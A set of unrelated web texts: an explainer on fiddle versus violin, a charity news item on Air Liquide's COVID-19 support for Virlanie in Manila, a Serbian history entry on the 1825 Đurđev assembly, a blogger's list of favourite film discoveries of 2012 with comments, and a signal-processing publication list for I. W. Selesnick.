To satisfy curiosity, many ask their musician friends about the fiddle vs violin debate. Most of the answers are that the two terms are the same. They don't mind calling the string instrument both fiddle or violin. However, others refuse to be called a fiddler because it sounds odd and outdated. This makes us wonder what makes fiddles out of trend? Why does being a violinist sound more professional than being a fiddler? Is there a difference between a violin and a fiddle? In hopes of getting answers, we compiled bits of information about the violin and the fiddle.
Fiddle vs Violin: Same or Different?
Before we delve into the history of the beloved string instrument, let's end the "fiddle vs violin" argument. When it comes to similarities, the two words are used to refer to the same string instrument. You may use them differently, depending on the tone of your conversation. We use the term "fiddle" during informal chats about music and string instruments. Meanwhile, classic music lovers prefer using "violin" when formally talking about the instrument's elegant tune. We usually hear "violin" instead of "fiddle" because we're usually exposed to the formalities of the classical genre.
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To focus on how they differ, we must look at the musical styles associated with the fiddle and the violin. We use the violin when talking about classical and jazz music. When discussing those genres, we automatically imagine the elegant flow of notes from a violin. Both types feature players moving along the motion of their bow. By doing this, violinists let listeners experience a deeper connection with their performance. The vibrant and smooth tune of jazz violins brightens the mood of listeners. Meanwhile, the strict performance of classical players aims to mesmerize listeners with the practiced feel of known pieces.
The fiddle plays an important role in some folk, cajun, country, and traditional Celtic music. Just by hearing these genres, you can imagine the fast-paced tune contrasting the elegant violin. When watching fiddlers play, you may notice the fixed position they maintain throughout their performance. They do this to focus on the complex finger and bow techniques needed for an upbeat tempo. This motion also helps deliver spontaneous additions to a non-formal fiddler piece.
Choosing Sides on the "Fiddle vs Violin" Debate
You don't have to choose a side when it comes to the "fiddle vs violin" debate because of their similarities. However, you may still meet people who insist on separating the meaning of the two terms. If you must choose sides, you need to familiarize yourself with the minor details in string instruments. Apart from their musicality, fiddles and violins feature different components. Unlike violinists, fiddlers often add a lower 5th C-string to their set of strings. This helps them maneuver their movements and maintain a spontaneous tune. When it comes to string materials, fiddlers prefer the steel types while violinists use gut or synthetic ones. After analyzing these small details, you may then observe what makes the fiddle and the violin unique.
The different violin or fiddle components we mentioned play an essential role in making them sound distinct. The synthetic or gut strings used by violinists help them keep up with the textbook motion of their performances. The texture of the strings makes it easier for them to glide their fingers and bow to their dramatic motions. Meanwhile, the sturdier strings of fiddles add comfort and variation for the players. The additional string also helps them transition into adding enjoyable ad-libs to their performances. Unfortunately, each unique melody we hear adds fuel to the fire of the "fiddle vs violin" debate among music lovers. It's either you like the dramatics of the classical violin or the spontaneous tunes of the fiddle.
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History Behind the Fiddle and Violin
Before we came to know the violin or the fiddle, people enjoyed the tunes of various bowed string instruments. Some of the oldest bowed instruments included the Byzantine Lyra and the famous Viol of the Renaissance and Baroque eras. However, the fame of the Arabian rubab and the European rebec influenced the reputation of the fiddles we know today. If you look at pictures of players of these bowed string instruments, you may notice their nearly-similar fixed positions. Despite these constraints, the musicians of that time gained fame for producing enjoyable and mesmerizing tunes.
In the 15th century, violinists and fiddlers graced the streets and concert halls of France and Spain. This increased the interest of European nobility in entertaining their guests with the instrument's lovely tune. Because of this, fiddles and violins often appeared in old artworks and murals. One of the earliest designs we're familiar with can be seen in old paintings in Northern Italy. There, Andre Amati and Gasparo di Bertolotti gained steady upkeep for being some of the earliest violin craftsmen.
In Chinese culture, the erhu (二胡) became known as the two-stringed Chinese violin. Due to its lack of strings, you may believe it's easier to play than the violin. However, its small number of strings is the reason why interested players struggle to produce the right sound and loudness.
Violin in Genres
Earlier, we mentioned how the violin became associated with classical and jazz music. With those genres in mind, we can't help but notice the distinct differences in their sound and style. We usually think of classical violin pieces with performances that follow everything by the book. You may apply this notion to violinists in orchestras who must follow directions from a conductor. However, we fail to notice how other classical violinists aim to make their renditions unique with signature movements. Yes, those overly-dramatic gestures we see from some soloists serve a purpose. They do this not only to keep us entertained but also to add their own style to their performance piece.
Aside from classical music, we came to know the violins during the popularity of the jazz and blues genre. Before the inclusion of guitars, these genres thrived for adding the versatile melody of violins in their performances. Plus, we can't help but enjoy famous jazz and blues pieces with beautiful violin solos. Due to its free-spiritedness, you might think that jazz violinists are more like fiddlers. However, the fluid movements we see in jazz performances say otherwise. These theatrics were influenced by the African-American string band culture. The humble beginnings of this musical movement made history for popularizing the genre in the West.
Meaning of Fiddler on the Roof
The term "fiddler on the roof" serves as a metaphor for surviving an unpredictable life. When we hear the phrase, we usually think of the famous 1971 film of the same name. It was based on a hit Broadway musical adaptation of the short stories from Tevye and his Daughters. One of the film's lines explains the unlikeliness of a fiddler risking his life by playing on a roof. The main character, Tevye, further elaborates that everyone in the town of Anatevka lives like a fiddler on the roof. They all share the struggle of upholding their way of life in an ever-changing world.
Yiddish author Sholem Aleichem composed the short stories of Tevye and his Daughters in 1894. In the story, Tevye was determined to stay true to the traditions he grew up with. However, he still had to make way for changes to keep up with the new order of things. Despite the story's age, we can still incorporate its message in modern times. We all face the challenges of a fast-paced world no matter what era we're in. We try our best to honor the culture and traditions of our families despite the challenging constraints of the modern world.
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Other Meanings of Fiddle
Some people confuse the noun and verb uses of the word "fiddle". When we hear the word, we automatically think of its musical term. However, the frantic bow jumps that a fiddler makes while performing inspired new meanings to the synonym of the violin. Aside from playing a tune, the verb "fiddle" can also mean "to move the hands or fingers restlessly." You may also use the verb meaning "to spend time in aimless or fruitless activity." This definition makes it a synonym for words like tinker or putter. Another related verb holds the meaning "to make minor manual movements especially to adjust something." You may use it to replace words like meddle or tamper.
In British English, the "fiddle" functions as a noun in two ways. First, it's the root word for the famous remark or interjection "fiddlesticks." The other meaning serves as slang for cheating or swindling. Because of this, you must be careful when using the word "fiddler" when traveling around the UK. Locals might think you were scammed or the scammer itself instead of hoping to watch a performance.
Finding Fiddle and Violin Pieces You'll Love
When it comes to the fame of music genres, pop music constantly dominates the scene. The styles and sound of the genre change over time as more people find solace in their preferred tunes and compositions. When monarchies ruled over most countries, the royals and nobles stayed true to the trend of entertaining themselves with classical music.
Eventually, musicians and singers joined forces and turned poems into songs. As time goes on, we bask in the constant change of quality in new music. Music producers often blend or mix old tunes to create a new trend that attracts more listers. Because of this, some violin concertos or fiddle solos have made their way to the pop or indie scene.
Due to the fame of upbeat pop music, we rarely encounter famous songs with violin or fiddle accompaniment. In truth, we don't instantly notice when a bowed string sound is added to pop songs. To instantly recognize their tunes in songs, we encourage you to listen to violin concertos or folk fiddle songs. Doing this exercises your brain's memory of the string instrument's distinct melody. To get started, we encourage you to listen to Bach's "Violin Concerto in E-major" or Tchaikovsky's "Violin Concerto in D-major". For notable fiddle songs, we suggest you listen to compositions like "Ragtime Annie" and the "Swallowtail Jig".
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Air Liquide Foundation gives crucial support to Virlanie Solidarity Against COVID-19 campaign
Last April 14, 2020, the Air Liquide Foundation granted its financial support to our Solidarity Against COVID19 campaign in order to fund Virlanie's relief efforts towards street-based families amidst the sanitary, economic and social emergency brought by the COVID19 crisis.
This funding has been granted by Air Liquide as part of its worldwide emergency response to COVID-19. Air Liquide is currently mobilized in France and Europe to fund scientific research on the virus, and to give emergency support to the most affected populations through its partner organizations.
This funding will be allocated to the purchasing and distribution of relief goods including food packages and hygiene kits to 500 vulnerable families coming from 8 urban poor communities of Metro-Manila.
The Air Liquide Foundation
Since 2008, the Air Liquide Foundation has been responding to societal challenges by working with scientific institutions and civil society organizations. It relies on the Group's expertise and operates in the territories where Air Liquide is present throughout the world, aiming to serve sciences and local communities.
The Foundation operates in 52 countries and its action focuses on Research and Science Education and Local Development.
Since 2008, Air Liquide Foundation has supported 49 fundamental research and science education projects in the field of air quality and respiratory diseases and 316 local development: projects to support professional integration of people who are excluded from the employment market and projects sponsored by Air Liquide employees.
Air Liquide: a major partner of Virlanie since 2010
The Air Liquide Foundation is a long-time partner of Virlanie Foundation. They decided to start supporting Virlanie after meeting with Dominique Lemay, Virlanie's Founder, in 2010. "We were touched by Dominique's dedication and by all the actions put in place in favor of extremely vulnerable communities, especially the children. We appreciated the association's knowledge of the field. Virlanie and Air Liquide share the same goal of helping and transforming communities through sustainable innovation. We trust that Virlanie's projects can make a good contribution to society" shares Natacha Brunet, Philanthropy Coordinator in Air Liquide Foundation.
She also highlights that for the past years, Virlanie opened its doors to both the President of Air Liquide Foundation and Air Liquide Philippines employees. Regular meetings in France and in the Philippines have also participated to sustain trustful relations between the partners.
For 10 years indeed, Air Liquide has granted its support to several Virlanie Programs and made several in-kind donations to the Foundation.
Between 2010 and 2013, Air Liquide supported the Mobile Unit, one of Virlanie Street Programs that promotes inclusion of children, youth and families in street situation by giving them access to basic rights such as education and healthcare.
In 2018, Air Liquide granted a one-year support to Virlanie's Dental Clinic.
At the beginning of February 2020, Air Liquide has granted its financial support for the vocational trainings (sewing, baking, cooking, beauty-care) to 45 mothers and youth in street situations. The objective of these trainings is to create sustainable livelihood opportunities for at-risk parents and youth, and thus to reduce poverty at the community level.
Asked on the reasons why Air Liquide choose to support Virlanie's vocational trainings, Katrina NICDAO, Projects Monitoring Officer at Air Liquide Philippines, explains: "Empowering parents to earn a decent and sustainable economic income helps to fight the vicious circle of poverty. Acquiring professional and technical skills seems to us essential for community development. We have witnessed in the past how Virlanie's projects were implemented effectively. We trust that Virlanie will do the same for this vocational training project."
Last April 14, 2020, Air Liquide Foundation finally granted an additional financial support to be allocated to our Solidarity Against COVID-19 campaign for the purchasing and distribution of relief goods including food packages and hygiene kits to 500 vulnerable families.
Virlanie wants to thank Air Liquide Foundation for its continuous support and trust.
Solidarity against COVID-19: a call for solidarity amid the sanitary, economic and social emergency
In the Philippines, the COVID-19 crisis and the Enhanced Community Quarantine has left thousands of indigent families without any resources because of the sudden disruption of their livelihood. Amid this sanitary, economic and social emergency, Virlanie launched its Solidarity Against COVID-19 campaign in order to distribute relief goods (food packs and hygiene kits) to 1,000 street-based families in 8 urban poor communities of Metro-Manila.
Thanks to your generosity, our staff was able to start the relief operations as soon as April 8, 2020, and these are still on-going.
While the government is struggling to give appropriate support to the families in needs, their lives depend of their fellow citizen's solidarity. Stay involved by donating and sharing this campaign around you. Your commitment can make a vital difference for these families.
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Ђурђевска скупштина 1825. године
Ђурђевска скупштина, одржана 5. маја 1825, била је редовна, али је имала да сврши и извесне послове спољно-политичке природе: да уложи протест код Порте ради тога што је турска влада народне депутате већ неколико година држала у затвору, као таоце, да ће у Србији владати мир и ред за време великих заплета које је Порта имала са Русијом и да донесе одлуку о замени затворених депутата. На тој скупштини састављено је и Кнезу Милошу предато је једно "изјасненије" у коме се каже:

Ово изјашњење предала је једна депутација кнезова београдском везиру 10. маја 1825. године.

Како се, мало пре тога, догодила позната Ђакова буна, Кнез Милош се скупштини тужио "на оне који, преварени од подкупљеника, устремили су се били изкоренити правитељство наше", и "безумну младеж толико заслепили били да већ није видела да у собствену пропаст стрмоглав иде". Одређено је, после тога, да се у свакој нахији одрже посебне нахијске скупштине кметова и народа, на којима ће се народ изјаснити о томе шта жели, шта му је тешко и шта би требало предузети да се тешкоће, уколико их има, отклоне.

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 Народне скупштине за време прве владавине Милоша и Михаила Обреновића (1815—1842)

Народне скупштине Србије
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Favorite Film Discoveries of 2012 - Giles Edwards
Giles Edwards works in acquisitions within the UK film industry, occasionally writes for assorted blogs and publications such as Frightfest, Time Out, has made one short film, is obsessed with a variety of horror sub-genres and generally lives for his wife, his twins, his little house in the country and the endlessly allure of rampant cinephilia.
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1. DAYS OF HEAVEN(1978; Terence Malick) - Timeless, ravishing, achingly beautiful; a film who's overwhelming style more than accentuates its straight forward, though deceptively complex, substance. The only Malick I had somehow never seen and an instant Top 100 film of all time.
2. THE DEVILS DIRECTOR'S CUT(1971; Ken Russell) - Ferocious -- and contextually quite different, certainly more emphatic and impactful in this revised cut -- revisiting of Ken Russell's sordid, pitiless, stone cold masterpiece.
3. ROCKY(1976; John G. Avildsen) - There are cult movies and there are movies that develop a cult of personality through sheer genetics. John G. Avildsen and Sylvester Stallone's remarkable drama is defiantly the latter. In danger of being dragged down by every cliché it has inspired in over 30 years, I can attest that, as a first time view, this fable of a small-time pugilist has lost none of the simple power and overwhelming charm upon which its formidable reputation has been built. As much a product of the neo-neo-realism of an era that gave us Cassavetes, MEAN STREETS and THE FRIENDS OF EDDIE COYLE as it is a precursor to the rambunctious rah-rah-rah of the 1980s sports movie, it's ultimately a beautifully told story, an artfully documented sense of time and place and a quietly intelligent study of character. It simply works. I genuinely air-punched and welled up during the big training montage and again at the end. (Ditto, it must be said, for ROCKY IV.)
4. MAKE WAY FOR TOMORROW(1937; Leo McCarey) - Leo McCarey's exquisite drama about mothers, fathers and their sons and daughters (the selfless dedication of the former and the selfish drive for self-betterment of the latter) is, to quote Orson Welles, perhaps "the saddest film ever made." It's certainly not one for the sensitively disposed or lachrymose. A purported influence on Ozu's more contemplative TOKYO STORY and shot through with the cold, desperate cynicism of the still raw Depression, it's a vital, beautifully acted and elegantly paced drama about the tragedy of unconditional love.
5. DOUBLE INDEMNITY(1944; Billy Wilder) - Sexy, sassy, sneaky...and that's just Fred McMurray. Justifiably influential film noir trailblazer from one of the greatest writer/directors there ever was, this story of lust and death pings and pows and punches and pops with elegance, wit, sass and scorn. Also features one of my favourite characters in all of cinema: indefatigable blood hound, Barton Keyes. I'd give anything to find out they'd made a spin-off series about Edward G. Robinson's delightful creation.
6. MAN WITH A MOVIE CAMERA(1929; Dziga Vertov) - Dziga Vertov's blistering, bustling, staggering info-dump of silent cinema is an antidote to anyone who complains that a genius like Tony Scott took the soul out of the image with all of his lightning fast cutting and radical, almost subliminal technique and what have you. It's all here. In 1929. And it's something quite wonderful to behold. Perhaps the most primal and exciting film I saw all year.
7. I AM A FUGITIVE FROM A CHAIN GANG(1932; Mervyn Leroy) - Righteous social consciousness filmmaking at its best. Paul Muni is as admirably indignant a desperate hero here as he was an anti-heroic desperado in the same year's SCARFACE. Great double bill with SULLIVAN'S TRAVELS too.
8. RUMBLE FISH(1983; Francis Ford Coppola) - One of biggest surprises of my movie year. Another movie with an almost daunting reputation. From its stark, stylised opening frames, this is thrilling, vibrant, vital stuff made with the impulsive, passionate, percussive beat of a true blood artist firing on some hellishly risky cylinders. But it delivers effortlessly. Where the hell did *this* Coppola go!?
9. I KNOW WHERE I'M GOING(1945; Powell/Pressburger) - Simply sublime early Powell & Pressburger. A truly elemental love story of empowerment and destiny.
10. ISLAND OF LOST SOULS(1932; Erle C. Kenton) - Plainly speaking, the house of pain ain't nothin' to fuck with (to clumsily mix hip hop memes). A bold and ballsy almost Jacobean tragedy of a horror film, part KING KONG, part FRANKENSTEIN, part Poe. Banned for decades after its initial release in the UK, it's as radically nasty, expressionistic and taboo-busting as a film Sayer Of The Law, Bela Lugosi, appeared in two years later, the similarly intense psycho-sexual shocker THE BLACK CAT.
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Nice to see you embrace Powell and Pressburger Giles, just don't ever watch The Boy Who Turned Yellow, possibly the worst way possible to sign off such illustrious careers
giles edwards said...
I love their mid-period, infamous output (THE RED SHOES is an All Time Top 10 for me). But it was terrific see stuff like this and Powell's solo THE EDGE OF THE WORLD in the last few years. Thrilling, essential stuff.
Ned Merrill said...
There are many longtime favorites of mine on this list--a reminder that I may need to get reacquainted with a few this year. Was fortunate enough to see a pristine print of RUMBLE FISH years ago, for my first viewing of it, in a film class. Later was able to study with one of the foremost Vertov scholars in the world and got to see his works projected on film.
Love CHAIN GANG, the first in a cycle of "chain gang" films made in the early '30s. I've seen Rowland Brown's HELL'S HIGHWAY and have been wanting to see Ed Cahn's LAUGHTER IN HELL forever, which has just been rediscovered and is starting to be screened in 2012-13.
HELL'S HIGHWAY is going right on the list of pictures to track down - thanks!
Robert M. Lindsey said...
You got some really good stuff. Double Indemnity is on of the best films ever made.
I had Rocky in my list this year also.
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Thanks! For some reason I'd never seen ROCKY, only fragments of ROCKY III on TV so I ended up doing I-IV on a marathon and feeling like an elated 14 yr old again.
I actually love having such great white whales on the "still to see" list. Each one brings with it a fascinating cultural baggage which only adds to experience watching it in the wider context (as we all tend to do).
Tawdry Living said...
Love this for the visuals (a given), and the fact it was a love story from the male POV, but was no less romantic.
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Overcomplete discrete wavelet transforms with rational dilation factors
Bayram, I. & Selesnick, I. W., 2009, In: IEEE Transactions on Signal Processing. 57, 1, p. 131-145 15 p.
Penalty and shrinkage functions for sparse signal processing
Selesnick, I., Nov 16 2012, In: Connexions. http://cnx.org/content/m45134/1.1/.
Perceived quality of resonance based decomposed speech components under diotic and dichotic listening
Tan, C. T., Selesnick, I. W. & Avci, K., 2014, 2014 IEEE International Conference on Acoustics, Speech, and Signal Processing, ICASSP 2014. Institute of Electrical and Electronics Engineers Inc., p. 925-929 5 p. 6853732. (ICASSP, IEEE International Conference on Acoustics, Speech and Signal Processing - Proceedings).
Electric fuses 65%
Perceived quality of resonance-based decomposed vowels and consonants
Tan, C. T., Guo, B. & Selesnick, I., 2011, 131st Audio Engineering Society Convention 2011. p. 811-817 7 p. (131st Audio Engineering Society Convention 2011; vol. 2).
vowels 100%
Q factors 32%
Speech 24%
cues 22%
Perisaccadic parietal and occipital gamma power in light and in complete darkness
Forgacs, P. B., Von Gizycki, H., Selesnick, I., Syed, N. A., Ebrahim, K., Avitable, M., Amassian, V., Lytton, W. & Bodis-Wollner, I., 2008, In: Perception. 37, 3, p. 419-432 14 p.
Darkness 100%
Pixel recovery VIA ℓ 1 minimization in the wavelet domain
Selesnick, I. W., Van Slyke, R. & Guleryuz, O. G., 2004, 2004 International Conference on Image Processing, ICIP 2004. p. 1819-1822 4 p. (Proceedings - International Conference on Image Processing, ICIP; vol. 3).
Pixels 100%
Polynomial smoothing of time series with additive step discontinuities
Selesnick, I. W., Arnold, S. & Dantham, V. R., 2012, In: IEEE Transactions on Signal Processing. 60, 12, p. 6305-6318 14 p., 6275507.
Whispering gallery modes 100%
Pruning the multidimensional dual-tree wavelet transform
Lo, W. Y. & Selesnick, I., 2005, Wavelet Applications in Signal and Image Processing X (Proceedings of SPIE 5914), San Diego, July 31-August 4, 2005.
Rapid number naming in chronic concussion: eye movements in the King–Devick test
Rizzo, J. R., Hudson, T. E., Dai, W., Birkemeier, J., Pasculli, R. M., Selesnick, I., Balcer, L. J., Galetta, S. L. & Rucker, J. C., Oct 1 2016, In: Annals of Clinical and Translational Neurology. 3, 10, p. 801-811 11 p.
Reading 50%
Remodeling of the fovea in Parkinson disease
Spund, B., Ding, Y., Liu, T., Selesnick, I., Glazman, S., Shrier, E. M. & Bodis-Wollner, I., May 2013, In: Journal of Neural Transmission. 120, 5, p. 745-753 9 p.
Nerve Fibers 29%
Retinal Neurons 20%
Repetitive transients extraction algorithm for detecting bearing faults
He, W., Ding, Y., Zi, Y. & Selesnick, I. W., Feb 1 2017, In: Mechanical Systems and Signal Processing. 84, p. 227-244 18 p.
Failure analysis 100%
Locomotives 68%
Roller bearings 64%
Feature extraction 44%
Resonance-based decomposition for the manipulation of acoustic cues in speech: An assessment of perceived quality
Tan, C. T., Guo, B. & Selesnick, I., 2011, 2011 IEEE Workshop on Applications of Signal Processing to Audio and Acoustics, WASPAA 2011. p. 333-336 4 p. 6082329. (IEEE Workshop on Applications of Signal Processing to Audio and Acoustics).
Acoustics 100%
Resonance-based signal decomposition: A new sparsity-enabled signal analysis method
Selesnick, I. W., Dec 2011, In: Signal Processing. 91, 12, p. 2793-2809 17 p.
Reweighted generalized minimax-concave sparse regularization and application in machinery fault diagnosis
Cai, G., Wang, S., Chen, X., Ye, J. & Selesnick, I. W., Oct 2020, In: ISA Transactions. 105, p. 320-334 15 p.
Fault Diagnosis 100%
kurtosis 57%
Reweighted least squares design of fir filters
Burrus, C. S., Barreto, J. A. & Selesnick, I. W., 1992, p. 3.1.1-3.1.2.
Ridge-Aware Weighted Sparse Time-Frequency Representation
Tong, C., Wang, S., Selesnick, I., Yan, R. & Chen, X., 2021, In: IEEE Transactions on Signal Processing. 69, p. 136-149 14 p., 9269491.
SEDA: A tunable Q-factor wavelet-based noise reduction algorithm for multi-talker babble
Soleymani, R., Selesnick, I. W. & Landsberger, D. M., Feb 2018, In: Speech Communication. 96, p. 102-115 14 p.
Noise Reduction 100%
Talkers 92%
Cochlear Implant 24%
Seizure detection methods using a cascade architecture for real-time implantable devices
Kim, T., Artan, N. S., Selesnick, I. W. & Chao, H. J., 2013, 2013 35th Annual International Conference of the IEEE Engineering in Medicine and Biology Society, EMBC 2013. Institute of Electrical and Electronics Engineers Inc., p. 1005-1008 4 p. 6609673. (Proceedings of the Annual International Conference of the IEEE Engineering in Medicine and Biology Society, EMBS).
Detectors 100%
Electric power utilization 23%
Separation of chirp scattered returns from a mixture of sinusoidal tones in noise
Farshchian, M. & Selesnick, I., Nov 15 2016, 2016 4th International Workshop on Compressed Sensing Theory and its Applications to Radar, Sonar and Remote Sensing, CoSeRa 2016. Institute of Electrical and Electronics Engineers Inc., p. 163-167 5 p. 7745721. (2016 4th International Workshop on Compressed Sensing Theory and its Applications to Radar, Sonar and Remote Sensing, CoSeRa 2016).
chirp 100%
Source separation 60%
Matched filters 55%
Sharpening Sparse Regularizers
Al-Shabili, A. & Selesnick, I., May 2019, 2019 IEEE International Conference on Acoustics, Speech, and Signal Processing, ICASSP 2019 - Proceedings. Institute of Electrical and Electronics Engineers Inc., p. 4908-4912 5 p. 8683039. (ICASSP, IEEE International Conference on Acoustics, Speech and Signal Processing - Proceedings; vol. 2019-May).
Convolution 53%
Signal decomposition for wind turbine clutter mitigation
Uysal, F., Pillai, U., Selesnick, I. & Himed, B., 2014, 2014 IEEE Radar Conference: From Sensing to Information, RadarCon 2014. Institute of Electrical and Electronics Engineers Inc., p. 60-63 4 p. 6875555. (IEEE National Radar Conference - Proceedings).
Wind turbines 100%
Radar 93%
Signal restoration with overcomplete wavelet transforms: Comparison of analysis and synthesis priors
Selesnick, I. W. & Figueiredo, M. A. T., 2009, Wavelets XIII. 74460D. (Proceedings of SPIE - The International Society for Optical Engineering; vol. 7446).
Restoration 100%
Simultaneous low-pass filtering and total variation denoising
Selesnick, I. W., Graber, H. L., Pfeil, D. S. & Barbour, R. L., Mar 1 2014, In: IEEE Transactions on Signal Processing. 62, 5, p. 1109-1124 16 p., 6705694.
Derivatives 100%
Linear equations 66%
Simultaneous polynomial approximation and total variation denoising
Selesnick, I. W., Oct 18 2013, 2013 IEEE International Conference on Acoustics, Speech, and Signal Processing, ICASSP 2013 - Proceedings. p. 5944-5948 5 p. 6638805. (ICASSP, IEEE International Conference on Acoustics, Speech and Signal Processing - Proceedings).
Polynomial approximation 100%
Computational efficiency 12%
Set theory 8%
Slantlet transform
Selesnick, I. W., 1998, p. 53-56. 4 p.
Sleep spindle detection using time-frequency sparsity
Parekh, A., Selesnick, I. W., Rapoport, D. M. & Ayappa, I., Jan 6 2015, 2014 IEEE Signal Processing in Medicine and Biology Symposium, IEEE SPMB 2014 - Proceedings. Institute of Electrical and Electronics Engineers Inc., 7002965. (2014 IEEE Signal Processing in Medicine and Biology Symposium, IEEE SPMB 2014 - Proceedings).
Detectors 14%
Smooth wavelet frames with application to denoising
Selesnick, I. W. & Şendur, L., 2000, Signal Processing Theory and Methods I. Institute of Electrical and Electronics Engineers Inc., p. 129-132 4 p. 861887. (ICASSP, IEEE International Conference on Acoustics, Speech and Signal Processing - Proceedings; vol. 1).
Smooth wavelet tight frames with zero moments: Design and properties
Selesnick, I., 2000, Proceedings of the Ninth IEEE DSP Workshop, Hunt, October 15-18, 2000.
Smooth Wavelet Tight Frames with Zero Moments
Selesnick, I. W., Mar 2001, In: Applied and Computational Harmonic Analysis. 10, 2, p. 163-181 19 p.
Moment 52%
Solving the optimal PWM problem for single-phase inverters
Czarkowski, D., Chudnovsky, D. V., Chudnovsky, G. V. & Selesnick, I. W., Apr 2002, In: IEEE Transactions on Circuits and Systems I: Fundamental Theory and Applications. 49, 4, p. 465-475 11 p.
Approximation theory 41%
Some exchange algorithms complementing the Parks-McClellan program for filter design
Selesnick, I. & Burrus, C. S., 1995, International Conference on Digital Signal Processing, Limassol, Cyprus, June 26-28, 1995. p. 804-809
Some matching exercises for introductory digital signal processing
Selesnick, I. W., 2006, p. 285-290. 6 p.
Digital signal processing 92%
Sparse deconvolution (an MM algorithm)
Sparse Domain Gaussianization for Multi-Variate Statistical Modeling of Retinal OCT Images
Amini, Z., Rabbani, H. & Selesnick, I., 2020, In: IEEE Transactions on Image Processing. 29, p. 6873-6884 12 p., 9096584.
Sparse Regularization via Convex Analysis
Selesnick, I., Sep 1 2017, In: IEEE Transactions on Signal Processing. 65, 17, p. 4481-4494 14 p., 7938377.
Sparse signal approximation via nonseparable regularization
Selesnick, I. & Farshchian, M., May 15 2017, In: IEEE Transactions on Signal Processing. 65, 10, p. 2561-2575 15 p., 7857076.
Linear systems 42%
Sparse signal estimation by maximally sparse convex optimization
Selesnick, I. W. & Bayram, I., Mar 1 2014, In: IEEE Transactions on Signal Processing. 62, 5, p. 1078-1092 15 p., 6705656.
Sparse signal representations using the tunable Q-factor wavelet transform
Selesnick, I. W., 2011, Wavelets and Sparsity XIV. 81381U. (Proceedings of SPIE - The International Society for Optical Engineering; vol. 8138).
Sparse signal restoration
Selesnick, I., Sep 25 2009, In: Connexions. http://cnx.org/content/m32168/1.3/.
Sparsity amplified
Selesnick, I., Jun 16 2017, 2017 IEEE International Conference on Acoustics, Speech, and Signal Processing, ICASSP 2017 - Proceedings. Institute of Electrical and Electronics Engineers Inc., p. 4356-4360 5 p. 7952979. (ICASSP, IEEE International Conference on Acoustics, Speech and Signal Processing - Proceedings).
Sparsity-assisted signal smoothing
Selesnick, I. W., 2015, Applied and Numerical Harmonic Analysis. 9783319201870 ed. Springer International Publishing, p. 149-176 28 p. (Applied and Numerical Harmonic Analysis; no. 9783319201870).
Sparsity 100%
Smoothing 87%
Wavelet Denoising 80%
Fast Solvers 36%
Selesnick, I., 2015, (Accepted/In press) Excursions in harmonic analysis. Balan, R. & al. (eds.). Springer-Birkhauser, Vol. 4. In press
Sparsity-assisted signal smoothing (revisited)
Sparsity-based algorithm for detecting faults in rotating machines
He, W., Ding, Y., Zi, Y. & Selesnick, I. W., May 1 2016, In: Mechanical Systems and Signal Processing. 72-73, p. 46-64 19 p.
Sparsity-based correction of exponential artifacts
Ding, Y. & Selesnick, I. W., Mar 1 2016, In: Signal Processing. 120, p. 236-248 13 p.
Time series analysis 64%
Sparsity-based methods for interrupted radar data reconstruction
Storm, K., Murthy, V., Selesnick, I. & Pillai, U., 2012, 2012 IEEE Radar Conference: Ubiquitous Radar, RADARCON 2012 - Conference Program. p. 107-111 5 p. 6212120. (IEEE National Radar Conference - Proceedings).
Radar 100%
Sparsity-enhanced signal decomposition via generalized minimax-concave penalty for gearbox fault diagnosis
Cai, G., Selesnick, I. W., Wang, S., Dai, W. & Zhu, Z., Oct 13 2018, In: Journal of Sound and Vibration. 432, p. 213-234 22 p.
transmissions (machine elements) 100%
penalties 68%
Sparsity-inducing nonconvex nonseparable regularization for convex image processing
Lanza, A., Morigi, S., Selesnick, I. W. & Sgallari, F., 2019, In: SIAM Journal on Imaging Sciences. 12, 2, p. 1099-1134 36 p.
Nonseparable 100%
Spatiotemporal wavelet maximum a posteriori estimation for video denoising
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spatial dependencies 48%
coefficients 46%
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